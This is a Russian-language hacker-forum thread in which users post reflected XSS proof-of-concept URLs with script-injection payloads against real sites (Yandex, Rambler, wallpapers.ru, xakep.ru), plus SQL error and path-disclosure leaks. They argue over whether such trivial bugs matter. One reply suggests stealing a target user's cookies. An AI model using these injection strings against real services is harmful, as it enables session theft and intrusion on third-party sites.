XSS на Yandex.RU
 

Нашел XSS на Яндексе (IE)

_http://www.yandex.ru/yandsearch?Link="><script>alert('found_by_Gang100' )</script>

На ФФ не работает :)

Чёт и у меня не пашет, пофиксили что-ли уже ?

как сказал маленький литовский мальчик: "ну и что?" +))
их там сотни
в опере тоже не работает...

мда-пс работает только в Ie

И на Рамблере :)
http://www.rambler.ru/cgi-bin/advanced.cgi?set="><script>alert('found_by_Gavrila ')</script>

XSS на популярном портале))

http://wallpapers.ru/cgi-bin/forum/top.pl?author="><script>alert('xss')</script>

+ выдаётся ссобщение

Временные неполадки на сервере баз данных (MySQL)
На сервере баз данных возникли временные неполадки.
Причина: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'xss')' AND icon_autor >= 2' at line

Большинство пассивных хсс мультибраузерные. Так же как и эти. (_|_)

На самом деле и на яндексе и на рамблере есть простые мультибраузерные активные хсс, не страдайте ***ней!

http://www.xakep.ru/post/30551/default.asp?"></iframe><script>alert(/xss/)</script><xexe="
такаяже байда точно такая же пасивная и чего?

как что?! АКОШКА ВЫСКАЧЕЛО! Я ХАЦКНУЛ ХАЦКЕР! :]

Кстати XSS про yandex.ru мишка давно находил её даже вроде статью делал.

Снимать штаны и бегать... Шутка.ПОпробуй стырить куки у пользваотеля которого хочешь взломать.

По моему от этого бага толка нет, нафига его вообще публиковать %)
Вот например на на античате тоже баг есть, не XSS но есть

Warning: Wrong parameter count for mysql_result() in z:\home\video.antichat.net\www\index.php on line 26

Warning: Wrong parameter count for mysql_result() in z:\home\video.antichat.net\www\index.php on line 26

Толку от него нет.

В общем я думаю не стоит публиковать баги, от которых толку нет

Не думаю что после алерта можно считать yandex взломаным, а базу слитой...

[что, я лоханулся опять, да?]

iNcluDe, эта бага расскрытия пути :)

да клоуны ерундой не майтесь плизз.

это как сказано в одном фильме трактористов разводить :)))))))

ёпт, скоро раз обсуждали этот вопрос.. это не бага, это Задохлик прикалывается.. =)

какой z: +))))) развод это все)
античат вообще в /usr/home/host[****]/domains насколько я помню

Я и сам знаю =))
Это даже багом назвать трудно

Это я так, к примеру привел